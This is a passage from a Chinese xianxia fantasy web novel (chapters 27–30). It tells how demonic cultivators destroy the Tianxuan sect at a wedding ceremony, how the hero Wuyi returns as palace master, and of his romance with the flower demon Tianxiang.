天香这才反应过来,柳眉横折,神色一沉,“盒身上面你也做了手脚,好卑鄙!”
余信见她发火,反而大笑,“只要是你给的东西,再古怪他也不会起疑,就连那枚残品驻颜丹都留下了。”
如此境地,余信心中甚是满意。游奕陵受牵制,杀死他可谓易如反掌。借此机会,再顺道把那两个老妖怪一并除去,就是一箭双雕......
从今以后,他坐稳碧岚宫主,谁敢反抗?
纵使他天赋不如人,做不了剑主,也是唯一的碧岚宫主。
游奕陵沉着一张脸,一言不发。天香紧紧攥着双手,柳眉横折,“早知如此,我死也不会带你来找他!”
云天真人不愧是一宗之主,此刻仍冷静非常,“这是制灵咒,奈何施法的人境界太高,我也一时半会解不开。你快去丹房,有一味药,丹粒白净生龙涎香,名龙隐丹,它能解开此咒,速速前往!”
天香正一脸惶然,心生烦躁,只听见还有补救机会这几个字。
见一切还有回转余地,点点头跑了出去,游奕陵却忽然一把抓住了她的手。
力气很大,她微微一怔,回头。
他喘着气,面色苍白几分。静静看着她,良久才别开眼,缓缓开口,低声道:“你千万自己小心。”
说完,他顿了顿,她感到他抱上来,轻轻抚摸她的后背,在耳畔低声道:“若见天泛血光,就是启动了天璇阵,不必回来了。”
“你在胡说什……”天香不由得有些担忧,张口还未说完,他却松开怀抱,从地上踢起一把长剑,直冲魔修而去。
她皱眉起身,见云天真人催促的目光,只得压下心底思绪,忙向着丹房的方向飞奔离去。
余信扬声长笑,“寻得解药又如何,天璇宗今日必定覆灭,凭你们现在的力量什么也阻止不了。”
游奕陵无法使用灵息,对招步步后退。
云天真人勃然大怒,“我倒是不知道魔族害人性命不成,还能用上这等残忍手段。”
余信指尖凝出魔息,黑剑即刻飞出,整座大殿普通席卷了黑雾,殿内修士戒备。
他想杀了这个人族修士,三番五次受阻。今日杀上山门,天璇宗主还护着,既然如此,连带宗门全灭不就好了。
不过听闻人族修盟实力强劲,他特意调查过,若是碰上修盟到场,收场就没那么简单。
好在今日道侣大典修盟竟然有事,未曾出席,区区一个小丹宗,碧岚宫还不放在眼里。
他睥睨殿内众人,冷笑道:“别急,你们一个个都得死。”
嵩山道长眉头一皱,“今日在场修士无数,我等绝非可欺善类。”
说着,他投掷出几口白光飞剑,顺势将两旁靠拢的魔修分开,于云天真人一同施法对敌魔修,各自过起招来。
殿内其他修士也纷纷祭出光剑,与魔修对敌,其余不知发生何事的百姓则是大叫着逃窜。
然而魔修毫无顾忌,大开杀戒。几名境界低的修士和无辜村民已被夺了性命,好端端的道侣大典,竟染上了血光之灾。
寻常人哪里见过这些,吓破胆忙不迭往山下跑去。
余信随意操控起地上一柄剑,杀意毕露,剑挥过之处不断有魔息弥漫,殿内柱上密密麻麻是招式划满的痕迹。
游奕陵额间溢几滴汗,勉强应敌,长剑迸发出一条裂缝,又迅速如蛛网般扩散,剑身渐渐裂痕满布,怕是片刻就要崩断。
似有什么东西在脑海中呼之欲出,但又被一层薄纱覆盖住,什么也看不清,无论多靠近,都一样模糊。
他只觉殿上无数厮杀惨叫或打斗声,都离自己越来越远,耳边似有听不清的吟诵之声,像一个人又像无数人,灵息被困在周天内使不出来,取而代之的是另一种力量一遍遍要从身躯叫嚣
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冲撞而出。
到最后,周围的杂音声音愈来愈大,几乎振聋发聩,到最后什么也听不清,眼前重影,不禁恍惚。
他感觉自己身处黑雾萦绕之中,层层迷雾将一切都遮掩看不清楚,内心狂躁不安,抬头看向面前缠斗的几人,只想全部撕碎。
地上早已浸透鲜血,殿内柱身上道道裂痕破损,几乎快要断裂。四周是魔息震荡,主峰上尸山血海,天边已渐渐至日落晚霞,柔光洒落下来。
“我还当天璇宗掌教有多大本事,看来也不过尔尔。”赤地长老阴鸷道,“你自身难保,还想护一众弟子。”
游奕陵半跪在地上,仍是面无表情,身上尽是血污,细小的伤痕密密麻麻,右臂翻起一块块皮肉,淌下血水顺着指尖滴落在身侧的断裂长剑上。
嵩山道长身上许多地方都是血渍,捂着胸口,内息不稳。云天真人则是衣衫破损,半张脸被血染红,仍是冷声道:“莫要得意在先。”
说着他趁机飞快向千里长老拍出一掌,他被击飞出几丈才落地。
嵩山道长和云天真人趁机一齐发力,他刚一落地,就被夹在当中,二人一前一后各在他心脉拍出一掌。
千里长老吐了一口血,缓缓倒地,面上笑意不见少。他虽身死,却杀了天璇弟子无数。
几名魔修见状更受刺激,好像杀红了眼,冷哼一声,魔息在手中凝汇,根本没给对手喘气的时机,继续强攻上去。
“哼,奕陵是本座徒弟,我今日就是陨身于此,也不会退后半步!”云天真人继续挥出几道飞剑,额头出汗,背上湿透,气息渐渐不稳,连施法步骤都是乱的。
即便余信一人前来,他也只有三成胜算,如今这么多魔修都是养神境以上高手,方才侥幸杀死千里,惹得他们出招更凶险狠辣。
这几人魔息深厚仿若取之不尽,招式毒辣,这几人,俨然一副镇宫杀器。
越打越是乏力,他好几次避闪不及魔修招式。但即便这种情况,他仍是拼尽全力,强撑与魔修厮杀。
千里长老陨落后,不断有天璇弟子尸体倒下,到最后,全宗上下,只剩大殿上几名零散弟子。
云天真人目光凝重,大吼道:“凡天璇弟子,听我号令,即刻下山,不要在此赔上性命!”
他下令遣散一众弟子,既然保不住他们性命,便放他们赶紧离开,也好过死在这里。
谁知一众弟子根本不走,继续强撑,“既是天璇弟子,誓与宗门共存亡,我等不怨掌门!”
碧岚宫高手列阵成圆,将大殿堵了个严实。却绝不可能只从大殿围攻,既然奔着灭宗而来,其他方向乃至整座山头必然派了不少人手前去。
山门尸横遍野,此时境地插翅难逃。这样下去,只有最后一个办法。
云天真人怒极反笑,吐一口血沫,朝天大笑。
“自百年前,本座从天剑门脱离而出,就再也没有开启过天璇大阵,没想到今日,还有启阵的一天。”
27. 第 27 章
他眉头深深蹙起,恐怕今日,天璇宗真的气数已尽。云天真人投掷出一块拳头大小棱角分明的石头,这便是璇玑石,向其中注入灵力,石头瞬间激活了大阵。
天璇宗便是由阵得名,这是一种罕见高阶玄阵,既可为丹药增香增品,关键时刻还可御敌。
血红符阵启动的瞬间,主峰上日光敛去,忽的狂风起,阴云拢聚,雷电轰鸣,所有人都被笼罩在黑暗之中。
云天真人启天璇大阵,聚集山门间借阵而生仙丹灵药的全部实力,焚燃元丹而战,境界将一直提升至藏胎!
他抬手一挥,灵息暴涨,反手推出向余信攻去。
“天璇地净,乾坤借法,诛邪!”
大殿中央,阵纹越来越刺眼,血光映射在上空,符文铺满地表,又开始高速转动。
瞬间光华大放。
整个天璇宗被一层红光所笼罩,顶端停留着那块璇玑石。
几番对敌下来,魔修也死伤无数,到最后只剩余信与赤地二人。
只可惜,天璇阵虽是低境修士能快速提升实力的阵法之一,在神剑昆仑雪面前,却还是无济于事。
忽闻“碰”一声,殿内传来一震,抬头便见云天真人被击飞出去,四周墙壁崩裂,天香挥手挡去激起的尘灰,只能尽力躲开波荡灵息,逐渐后退。
在阵法的加持下,云天真人境界已飞速提升至藏胎境后期,即便如此,竟还是对敌余信不能。
云天真人满身狼狈,连连后退。脸上血污几乎将眼皮遮盖,双手仍是不断射出光剑,但速度明显变慢。
赤地长老避开光剑,闪身上前,右手凝聚魔息实为虚晃一枪,左手忽的凝出一柄短剑,其上如黑色烟云聚集不散,猛的朝云天真人刺去。
云天真人一滞,低头看胸口一把横插的短剑,脸色扭曲几分,吐一口血沫,攥住短剑,反手一掌推向赤地。
嵩山道长怒喝一声,凝聚罡风化形挥出,乘胜追击,要对赤地下死手。可惜有千里在先,赤地绝不会再给嵩山道长机会,他生挨下那掌,拔出那把鲜红短刃朝向嵩山。
短刃上的鲜血滴落,嵩山忙闪身避开,却因内伤严重,反被赤地抓住破绽,一掌拍出大殿,只余下墙壁一个窟窿。
云天真人趁赤地无暇顾及自身,长剑贯穿他背后心脉,他不可置信的缓缓倒下。
嵩山道长则是捂住胸口,身躯抽搐了一阵,眉头紧锁,用了好久才缓缓支撑起一条手臂。
拼尽力气施法,幻化出一只纸鹤飞去。
几只飞鸟忽惊起,孙昭倏的听见一番动静,睁眼便醒来。
她脑子混沌,记忆还停留在几个时辰前,那时她正准备道侣大典,忽的有人自称小师妹,在殿后等她叙旧。
孙昭没有多想,便走了过去,谁知中了圈套,她被一人打晕不省人事。
如今见自己身上无伤,衣着完好,也不知发生了什么。只是头痛欲裂,半靠在一颗老树旁,还在天璇宗上,已昏迷多时。
她摇摇头,天边晚霞红艳刺眼。一只传音纸鹤停于肩头,她正一头雾水,纸鹤里却传来师父虚弱的声音,“昭儿,快去求助修盟……快!”
孙昭愣住,不知发生了何事。方才她被歹人所害,她依稀记得,那是名魔修。
嵩山道长弥留之际,咳出一口血,强咽下去断断续续道:“碧岚宫的人打断道侣大典,不由分说屠戮修士无数,如今只剩几人存活,咳咳,为师也快撑不下去……”
她脑海中嗡嗡作响,只觉得有人用锥子在脑中搅动,头痛欲裂。到底怎么回事,碧岚宫的魔修趁着她昏迷之时,屠尽了整座天璇宗?
孙昭忙急急问道:“师父,天璇宗被几乎灭门了?”
嵩山道长强提着一口气,认命的摇头,“是,是啊......”
见师父重伤至此,孙昭怒气登时涌上心头,恨不得一剑提上山门与那嚣张魔修对招,却明白自己尚且不是他们对手。
她眼眶微红,眼中露出一丝愤恨,失声喊,“师父!”
“快去求助天剑门……否则还会死更多人……”嵩山道长快要说不出话,还是继续催促道。
孙昭已是眼眸垂泪,泣不成声,低声道:“徒儿知道了。”
此刻十万火急,她忙丢出飞剑,一抹泪水,破空飞去。
纸鹤传音刚落,嵩山道长便再难说话,连连吐血,丹田破碎,阖眼倒下,命丧于此。
余信见赤地已死,嵩山咽气,推出几道魔刃,将剑架在云天真人脖子,声音平平,“你天璇宗弟子已所剩无几。”
云天真人面带不屑,一挥手袖,要打开长剑,却被压制的动弹不得,身躯颤抖,血污染的只能半睁右眼,已经到了极限。
游奕陵捂着胸口,也是身受重伤,殿内满是修士尸体。
天边云霞艳蔚,远处树梢上一只血喉鸟震动翅膀,忽的飞离而去。
天香摇了摇头,只觉得心如乱麻,在丹房里翻箱倒柜半晌,终于找到了龙隐丸。
不敢犹豫,望向天边,见没有游奕陵所说的血光,松了一口气,忙起身往主峰赶。
天上更是不见白鹤,花丛间连一只蝶子都无,安静的可怕,让人心底没由来的惶惶。
她一赶路,就追上了个粗手粗脚的村民正拼命跑着。山底村民不晓得撞见了什么,连滚带爬地退后了几步。
天香只觉得心焦,忙抓住他胳膊,吓得他连声告饶:“饶命啊,我不是修士!”
她烦乱不堪,皱眉将村民从地上扶起来,说话声不自觉急促,“主峰殿上怎么样了?”那村民哆嗦地指着主峰,“那、那里……死了很多人,只有我逃出来了!”
天香面色瞬间苍白,连呼吸都紊乱几分,心里不停祈愿奕陵千万别出事。她扔下他,忙往前赶去,在前面不远的路上,就看到个刚死不久的村民尸体。
黑雾萦绕在尸身上,一条手臂被毁去。天香心头一急,果然是碧岚宫,他们连村民都杀,真是丧尽天良!
奇怪的是,越靠近主峰,越是看见天边泛起一丝诡异红光,大抵是晚霞艳丽,她不愿多想。
也不敢耽搁,又往着回主峰大殿的路疾行
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数里,撞见了一两名横躺的尸体,倒在墙根边上。这几名断了气的,不是一般百姓。
他们身上都有残存灵息,手握名剑,瞧着境界都比她高。看腰间牌坠,还是修盟有头有脸的人士。
身上的伤口,缠绕着散不去的黑雾,都是死于碧岚宫之手。
天香一阵害怕,心不停的跳,忽的头晕目眩。扶了扶墙,才不至于恍惚倒下。靠着边缘走了几步,才咬咬牙,又提起灵息赶路。
这条路是小路,虽更短,却快些到主峰。但长满了青苔,又滑又陡,她提着一口气,险些摔几次,勉强赶到了殿前。
浓烈血腥味扑鼻,面前竟是一小滩堆积的深暗血水。上倒着两具尸首,看他们身上的装束正是天璇宗弟子,皆死于碧岚宫招式。
天香不自觉地摒息,差点眼前一黑,晕倒过去。心中疑惑害怕极,攥紧龙隐丹跑向大殿。
刚走两步,她瞬间愣在原地,只见自她脚下陡然出现几道交错阵圈,地面布满血红色符咒,如齿轮交错,一触即发。
大阵几乎覆盖天地,那阵圈与符咒又开始高速飞转,向外缓慢蔓延,灵息动荡吹起她裙角,红光直冲云天!
原来天边的红光不是晚霞,是掌门启动了天璇大阵。
他说过的,他说若是启动了天璇阵,就不必回来了。想必此刻再回去,将再度身处险境。
这一切都与自己无关,天璇宗死也好,余信与游奕陵的恩怨也罢,可是,她竟无法置之不理。
不能再耽搁了,天香躲开隔空飞来的招式,侧跑进大殿。
只见余信挥剑将云天真人劈倒在地,云天真人冷笑一声,伸手还想凝结灵息,却被一剑穿肩胛骨,吃痛停住。
“碧岚宫滥杀无辜,修盟不会放过你们的!”云天真人跌坐在地上,眼中尽是不屑,一手捂住胸口。
“修盟来之前,我就给你个痛快。”余信微微一笑,天璇宗即将全军覆灭,这便是力量的差距,其中滋味叫人着迷疯狂。
游奕陵半跪在地上,喘息有些凌乱,抬眼定定望着余信。天香忧虑的看向他。
他咳一口血,却是再也使不出任何招式,沉声道:“住手……”
余信眉头紧锁,根本没有理会。一剑便了结云天真人性命。一旁的天香正冲进大殿,正好目睹这一切。
她手中攥紧隐龙丹,正滞住出神。余信一不做二不休,邪笑一声便朝着游奕陵飞袭而去,天香心底一骇,没来得及给出龙隐丹,只得连连后退。
余信面色冷冷,他为碧岚宫尽心尽力,得到过什么?好不容易坐上宫主位子,却有许多人不肯服他。
想夺昆仑雪的,未必不是也想当魔君。随他屠杀天璇宗的,未必不是夹带了窃取此地珍宝灵草的私心。
至于赤地千里,又怎么不能是也想坐宫主这个位子?
世人皆自私,哪有什么忠心,只有弱肉强食。天璇宗不过是太弱小,否则今日覆灭的就是他们。
送弟子走不过是怕自己无法逃脱,为了天璇宗基业留存根基,还谈什么无欲无求,可笑!
28. 第 28 章
恶念骤起,杀意丛生。余信眼中是癫狂的肃杀之意,一掌便向游奕陵直直拍去。
赤地、千里已经死了,现在只需要把游奕陵杀了,他中制灵咒,又身受重伤,只需隔空一击天灵盖……
从此再没有人能动摇他的宫主位子。
余信一手扬起魔掌,笑意冷彻骨,正要手刃天香,却感觉胸口一阵撕裂痛意。剑身染透鲜血,自胸口刺出,血珠滴答滴答从剑尖滴落。
千里手中幻化出一把魔刃,刺穿他胸膛。
余信眼中一丝呆滞,凝视那截穿透的沾血剑尖,无论如何都想不通。
他脸上没有一丝血色,面色苍白几分,汗珠淋漓,内息紊乱,扶着腹部,就要强撑不住。
长剑下血迹点滴,积蓄起一小滩暗红。
赤地眸色冷冷,缓缓也站了起来,“我兄弟二人做局,假死就是为了等这一刻。”
千里长袖一挥,游奕陵身上像解开了什么封印,魔息陡生。
余信反复张口,还想说些什么,眼中充满难以置信,却被千里又一剑封喉,直挺挺向后倒去。
“奕陵!”殿外忽的冲进来一堆人,孙昭眼中泪意未止,带着天剑门的人赶来。
只见殿内修士皆是受碧岚宫魔族所伤,奕陵身上,居然有股强烈的魔息。
游奕陵置若罔闻,殿内满地尸骸,地上躺着云天真人,他胸口中剑而亡,其中涌出道道黑雾,无疑死于魔修之手。
“出了什么事?”天剑门弟子瞬间冲入。
天香微微一怔,看向孙昭,此刻境地,百口莫辩,竟不知该说什么,“孙昭姐……”
孙昭捂住嘴巴,眼中沉痛,泪意更深,再也忍不住哭出声,质问赤地千里,“师父!你们这些疯子......这些人都是碧岚宫杀的吗?”
天剑门弟子顿时将所有人团团围住,为首一人神色一凛,亮出长剑质问赤地道:“天璇宗到底发生了什么,怎么只剩你们几人?”
游奕陵一手提剑,踉跄半步方堪堪站稳,手抚胸前灼伤,伤口一时止住了血,但此刻血脉奔腾,仍有鲜艳血渍缓缓渗出。
他身上源源不断涌出魔息,一时间分不清到底是不是魔修。
两名修盟弟子挡在他面前,游奕陵沉着脸,声音不知是倦是怒:“让开。”
那几人受他骇人气势威慑,面面相觑,渐渐让开。
谁知那几人让开后,孙昭却怒意难忍,提剑上前,直指游奕陵面门,“你说话!到底发生了什么,我师父又是谁杀的?”
她只觉得心里有一把火,快要把整个人烧成灰烬。明明是她与游奕陵的道侣大典,如今她昏迷不醒,却是天香代为参加。
如今天璇宗不知为何遭受碧岚宫袭击,就连她的师父也惨遭毒手身死,枉她把《阴水录》交给游奕陵!
如今只剩碧岚宫两名魔修,和他、天香四人,他身上却是一团魔气,这又该如何解释!
她拼命找修盟前来相助,结果却只能看到这副场面......
千里长老眸色无波,只是上前拦住她,虽只是略微抬手,孙昭一双手已是握不稳剑柄,剑尖发颤,她却仍是挡在游奕陵面前。
赤地长老怪笑出声,直接一挥手,孙昭便被一股力量打的摔在地上,好在修盟的人及时将她扶起。
游奕陵缓缓走到天香面前,墨发凌乱,衣衫尽是血污,身上伤口多的数不清,人已虚弱到极致,却仍强撑一口气,勉强站立,低声道:“你走吧,走的越远越好。”
天香愣住,他这是赶她离开。
孙昭差点忘了,还有天香,天香是天璇宗弟子,她一定知道些什么。
她不信邪,带着哭腔继续质问,“天香,你快说,到底发生什么事了?”
众人瞧着天香面善,身上一件天璇弟子服,便问道:“你是天璇弟子吗,此地究竟发生了什么?”
天香本露出一抹无奈的笑容,“我已经不是天璇宗弟子了......”
没想到游奕陵真是碧岚宫找寻已久的昆仑雪剑主,这让她如何解释?
事已至此,还与这帮人族纠缠什么。赤地心已了然,游奕陵就是前宫主无疑。
现在余信已死,他们大可直接离开,但宫主恐怕无法放下这只花妖。既然如此……
赤地却一掌忽的拍向天香,所有人都没有反应过来。
她一时间没避开,却见自己身上没什么异样,只是吐出一口真息。
那股真息散发隐隐紫光,明显是妖修才会有。
天剑门弟子大惊,“她,她是妖修!”
孙昭瞪大双眼,痛心道:“天香你......你是妖修,好,我明白了,原来你和他,和碧岚宫是一伙的。你们一同策划了这场屠杀!把《阴水录》骗去,还残害这么多人丧命。”
说着她又要提剑冲出去,但被天剑门弟子拦住,她现在一时冲动,恐怕会死在赤地、千里手里。
天香见赤地此番动作,不由得生气,又顾不得,忙对孙昭解释,“不是的孙昭姐,我们与碧岚宫无关!”
“哈哈哈,你看,他们都不信你说的话,难道你还要留在此处?”赤地无情嘲笑。
孙昭一气之下祭出《阴水录》孤本,天剑门弟子大惊,“道友,你要干什么?”
她一张脸冷若冰霜,凝灵息为火附身于剑,刺穿书页,焚烧殆尽,当众一剑毁去此录。
孙昭眼中只剩下恨意,“我现在打不过碧岚宫,但……”
孙昭冷哼一声,一手捂着吃痛脱力的右臂,一边一字一句大声道:“我孙昭此生,立誓找碧岚宫寻仇!今日你们若敢踏出大殿一步,天涯海角,我也会手刃仇家。”
修盟众弟子也不多废话,祭出法宝便上前要杀了这几名碧岚宫魔修。
赤地却似笑非笑的回道:“找碧岚宫寻仇?还是个人族,以你的境界,直到命绝,都没有可能。”
千里只当做没有听见,冷面一挥手,他们四人便随着一道黑雾于原地消失不见。
......
观澜阁内,什么也逃不过水镜的画面。
衍决静静看完赤地、千里离开天璇宗,看到他们杀
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上主峰,先是微微惊讶,再见那名人族,脸上表情都停止,站在原地不动。
他虽然不语,摩妙天极却感觉出他眸中隐约有怒意,这似乎是他认识衍决以来见到的为数不多真实情绪。
摩妙如今没有躯体,只剩一道残魄,也因衍决身上散发无形威压之意,无端有些害怕。
周围弟子早就全部被呵斥清退,气氛沉寂,只有亭上檐角挂着的玉灯在风中轻轻飘荡。
“如今碧岚宫竟寻得无奕,有昆仑雪在,你又该如何收复?”摩妙瑟缩一下,又无奈的摇摇头。
他只在意自己何时能复活,但如今他毕竟没有身体,受制于对方,见衍决面带怒意,他也不敢再提复活的事。
本以为衍决会发狂,谁知他异常安静,长袖拂去水镜,坐回石桌边上,端详那盘棋局。
他看着棋局,面上虽然温和,笑意却不达眼底。可笑,小小天璇宗居然藏龙卧虎,无奕在这里潜藏许久,那只小花妖看着也不简单。
无奕既然已经回到碧岚宫,他不如趁这段时间,查一查这只花妖。
此外,还需要收集大量为摩妙重塑肉身的天材地宝,上次天璇宗得到的金妖丹只是牛九一毛。
衍诀面色冷淡,“没想到,天璇宗居然藏着大名鼎鼎的昆仑雪剑主,看来百年之前,他并没有死。”
碧岚宫若是由余信带领,便不成气候,但赤地找回了无奕,就不一定了。
“恐怕余信自己也不知道这件事,赤地、千里以身入局,瞒天过海......”摩妙叹了口气。
衍决冷笑一声,又看向摩妙,“碧岚宫的事与你无关,倒是你,何时教我三相阵?”
“三相阵可是上品仙族法阵,我近日残魄已有化散征兆,碧岚宫中的烟启阁里有面浮华幻镜,镜子里有只灵簪可固魄,你帮我取来,我,我就教你......”
摩妙声音越说越轻,到后来已经不敢直视衍决,呈哀求姿态。
半晌竟是没有答复,摩妙慌了神,“对,对!碧岚宫已经被无奕收回,你拿灵簪困难重重,那我先教你也可以,只是你要向我渡些法力......”
远处苍苍翠微,涛涛晚风吹拂进小亭,带丝凉意,衍决衣角中藏了半束海棠花枝,暗嗅芬芳。
半晌,他淡淡开口。
“那又怎样,就算无奕回来,我也能拿下碧岚宫。”
衍决眼中戾气已抹去七七八八,仿佛刚才是错觉,面上是淡淡笑意,眸光莫测,“不过是取一只灵簪,但要等一段时间,可能会有点长,我自会用法术稳固你魂魄。”
摩妙仍是有些害怕,这小子若是不动那么多心思,光这样瞧着,一张脸也挺温润清秀......
而且衍决说的轻松,但如今无奕回归,一把昆仑雪在,碧岚宫现状改变,又岂是轻松能够攻破?
他们各怀心思,他一心想复活,衍决只想在他身上拿走仙法,再交谈也是无用。但他命脉毕竟掌握在对方手中,只得忍气吞声。
摩妙摇摇头不再周旋,消失在空中,“唉,你好自为之。”
29. 第 29 章
一年后,碧岚宫中。
自那天离开天璇宗,天香再没回过人界。
一年可以改变很多事情,说不定当初离去的村民都已将道侣大典忘却,或是记得但三缄其口,天璇宗的山头也长满了荒草。
离开天璇宗后,游奕陵成为了昆仑雪剑主,回到碧岚宫,在赤地、千里的拥护下坐上了宫主的位子,改称无奕。
想不到他已经踏破窥虚境,进入混元境,若真是那么厉害,岂不是已获长生。但魔族命格本就长生,想来真是浪费,不如给自己。
虽说她已努力到达锻体境,但仍是个寂寂无名的妖修。
好在对她来说,他还是和以前一样。他们的关系也愈发亲密,他对她更是温柔几分。
碧岚宫在他的带领下扭转劣势,如今转轮王与平等王仍旧不死心想拿回昆仑雪,几人争斗至今。
她却沾光成为了送碧岚宫点心的专员,就连斋主对她态度也变好许多。有灵石后,她也从初涉引气,到锻体后期,不久之后就要突破到炼骨。
现在想起以前天璇宗的日子,恍如隔世,连回忆都有些模糊。唯有一人仍让她放心不下,那就是孙昭姐,不知她现状如何,可惜自己也不可能再回人界......
闲来无事,她是偷溜出香溢斋玩的。
天香坐在碧花湖岸边,拿出流云紫纹笛。
寻常空闲日子里,她不是在碧岚宫侍弄花花草草,就是站在窗边练习吹笛。久而久之,她吹的愈发娴熟。
清风仍是徐徐吹过远处青山,湖岸山上有座精致古朴的小楼阁正出神,猝不及防间,雨丝忽的细细落下,她冷的瑟缩脖颈。
雨下的突然,浅浅沾湿衣衫。
轻轻雨声拍打在碧花瓣上,清脆作响,又落在湖中旋开圈。
衣衫既然已经湿了,她索性托腮坐在湖岸,望着随细雨微风摇摆的花海,心中不知怅然什么。
头上的雨丝忽然消失,她抬头,见一把油纸伞,无奕面色淡淡看着她。
“雨渐大了,别着凉。”他的声音带些温柔。
她微微瞪大双眼,起身后慌乱将笛子别入腰间,有些惊讶,“你怎么来了?”
碧岚宫弟子纷纷行礼,现在身后还跪着几个,脸上都是略惊略怕的表情。
众多弟子看他外表平平,赤地长老从人族将他带回来,都以为他比较好对付,纷纷不以为意,结果在他手上落败的不计其数。
无奕不理会他们,只是无声在伞下与她对视,那几人便自行离去,
时间像被无限拉长,雨滴落在油纸伞上,发出细细的沙沙声。
入眼苍茫雨帘隔绝一切,仿若只剩伞下一方天地。
天香愣住,恍然间,眼前浮现许多画面。天璇宗少年的身影,也重叠在他身上。
他还是一贯的面无表情,无欲无求,以至于,方才的声音分明算的上柔和,她却有些不敢相信。
天香歪着脑袋,细看看,他和以前一样,却又有些不一样。
无奕微微垂眸。他将伞倾斜,雨丝落他身上,睫毛低垂,沾染细细雨珠,向来冷淡的长眸也温柔些许。
他视线沉静,注视她腰间的笛子。
这把笛子虽是当年,他阴差阳错赠与她,她却异常喜爱。
她心如小兔般跳着,像是潜藏于心的爱恋无处遁形。
到头来还是她打破沉默,天香轻轻垂下头,小声道:“这只笛子,我一直贴身放着……很是欢喜。”
无奕长睫微垂,似是有淡淡笑意,睫毛上雨珠轻轻滚落。
她站在他身侧,望着远处碧花海,知道他看见紫纹笛,又想起了天璇宗的事。
天香缓缓开口,“你想天璇宗了吗?”
“天璇宗......虽然回不去了,但是没关系,你还有我嘛。”天香转身,将手背在身后,微笑着,又靠近他一分。
无奕只是听她说着,眼中情绪看不真切,细雨打在伞沿。
她默默站他身边,不知过了多久。
忽然,她的手被人牵住一拉,紧紧抱入怀中。
无奕看着她的眼,雨水划过玉白面庞。
“你喜欢我吗?”
伞顺着风跌落在地上,没有人去捡。天香两颊泛红,微微怔住,如此突然,她险些没反应过来。
空中分明是细雨,却顷刻模糊了视线。
“当,当然喜欢......”
那些经历过的一切,跌宕过的感情,早已无法抹杀,深深刻在心间。若是再也无法回到天璇宗,她就在碧岚宫陪着他。
此刻,他就在她身边。
天璇宗也好,碧岚宫也罢。在哪里都可以,只要能和他在一起。
雨势渐大,但在他身边丝毫不冷。
雨水从他白皙面颊滑落,他在雨中静静看她。天香将头慢慢靠近他怀里。
他无奈笑道:“若是以前的我,只觉得遇见你就是天大的麻烦,巴不得早日与你分道扬镳。现在的我却喜欢你,想每天看着你,天璇宗覆灭后,只剩你陪在我身边。”
天璇宗覆灭一事,本就不是他的错。她知道,他虽回到碧岚宫,在众人拥护下重回宫主的位子,却非他所愿。
只怪余信那个小人,被欲望蒙蔽了双眼。
她将脸埋在他胸口,轻声笑道:“好啊,你说了想每天看我,那就不能变了。”
无奕微微一滞,抬起她脸颊,眸中有些震惊,但更多是欣喜,“天香……”
他慢慢凑上前,捧起她的脸,轻轻吻她嘴唇,那吻带着淡淡花香。仿佛回到天璇宗时的初遇,带着些许青涩痕迹。
而后,他一手托着她颈后,一手扶住她腰,继续深深吻进来。
她觉得心跳漏了几拍,油纸伞跌落雨境,细雨拍打花簇轻轻摇摆,碧花幽香揉碎进吻里。
那吻轻柔而细密,如一场她此生躲不开滂沱大雨。
......
次日,香溢斋中。
天香支着下巴,忽的想起昨日发生的事,还有些耳根泛红。
许多帮工离开了,乌星、贾勉都不见踪影。帮手不足,竟有些忙不开。斋主刚从厨房出来,就看见天香坐在堂中发呆。
她脸色一沉,谩骂道:“呸
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你这个女娃,当我香溢斋养闲人?”
天香身躯一抖,忙收回心思,下意识就要起身,又想起自己已非同往昔,才定神回答,“斋主,我在等着后厨出碧岚宫的点心,万一误时辰就不好了。”
斋主一愣,险些发作,想起天香如今受碧岚宫庇护,只能按捺下去。
但岚宫的点心出炉还需一段时间,手中又有别的活忙不开,斋主只得将鲜茶塞给天香,破天荒的扯出一个笑,好声好气道。
“反正你也是闲着,阁楼有客,你去侍茶,后厨做好点心我自然喊你。”
天香被迫接过布茶包,见其上印有一枚暗红魔纹,不似凡品,看着还有点眼熟。
只是出神片刻,就错过了拒绝机会,斋主已经走开。
“等等!好吧,知道了......”天香扯扯嘴角。
就那点工资还想使唤人,她不禁心中暗骂。但魔族战乱至今,许多人购买法宝,价格飞涨,灵石也越发难赚。
就连她的工资也越来越少,不由得犯愁。她来到二楼阁间外,将茶炉洗净,在帘外煮茶。
茶在沸水里滚,她看向帘幕内。
帘内只有两人,一人坐着,身旁一名侍从,隔着幕帘觉得身影有些眼熟。
茶汤在炉中滚着,不知为何,她又想起姻缘石里的那些片段,分神间,滚烫的水溅到手背。
她一惊,手背上多出一道红痕,火辣辣的发疼,可是眼看水开了,只得先将茶碗依次用清水浣洗干净,放进托盘。
她将茶具收拾好,先行通报一声,“茶煮好了,我现在送进来。”
正准备掀帘进入,忽的出现一人将她拦住,正是那侍从,他指责道:“你在干什么!菁羽茶只得用温水慢煮,这叫大人一会怎么喝!”
她手中托盘没有拿稳,一颤。
天香怔住,面色郝然,“不,不好意思。”
原来这是客人自带的茶,她从来没见过。
这件事是她的错,但茶既然已经煮下,她也没别的办法,只能垂首听客人奚落。
帘内人忽然轻敲桌两下。
“欸!马上,这就给您送进去!”侍从即刻读懂,喜不自胜,端起茶杯起身。
天香倒是松一口气,稍后还要去碧岚宫送点心,不用进去更是乐得清闲。
既然如此,也没她什么事了,转身便要下楼。
谁知里面的人又道:“你出去,让她来送。”
天香停住脚步,觉得那人好奇怪,为何偏偏要她送?
侍从脸上笑意一僵:“大人……这……”
帘内人继续,“听不懂话吗?”
“城,城主!我……”侍从脸色大变,满头都是汗。
天香微微一愣,怀疑自己听错了,城主?香溢斋在转轮城辖境内,此地只有一个城主。
难道真的是他?
侍从将茶盘哆嗦放下,天香只得慢慢端起,掀帘入内。
见一人白衣委地坐着,手中执一束棠花枝把玩,果然是他。
衍诀见她出现,唇边缓缓展开一抹笑意,“小花妖,许久不见。”
30. 第 30 章
过去的一年中,衍决已将摩妙复活的灵宝收集的差不多。也查清楚了天香来历。
若是没有猜错,她很可能就是自己要找的那个人......
但还无法完全确定,在此之前,还要做一件事。引她去浮华幻镜,既可以借机取回那只灵簪,又可以验证她的身份。
天香愣住,虽说香溢斋在转轮城辖境,但他忽然大驾光临,她仍有些惊讶。
况且城主衍决名声不错。据说为人谦和有礼,赠与盟友平等城王无数珍宝灵器,与各魔族世家门阀关系也都极好。除去之前的献宝宴,这是她第二次见他。
可是,她与碧岚宫主无奕关系匪浅一事早就传开,而衍决与雷行正是与无奕争夺魔君之位的敌对。
此刻她明明将茶泡砸了,衍决却非要她侍茶,她看不出他心思,心底忐忑,继续端着茶盘。
天香走到桌前,“城主,我将茶放在这里了。”
“侍茶。”衍决声音温和。
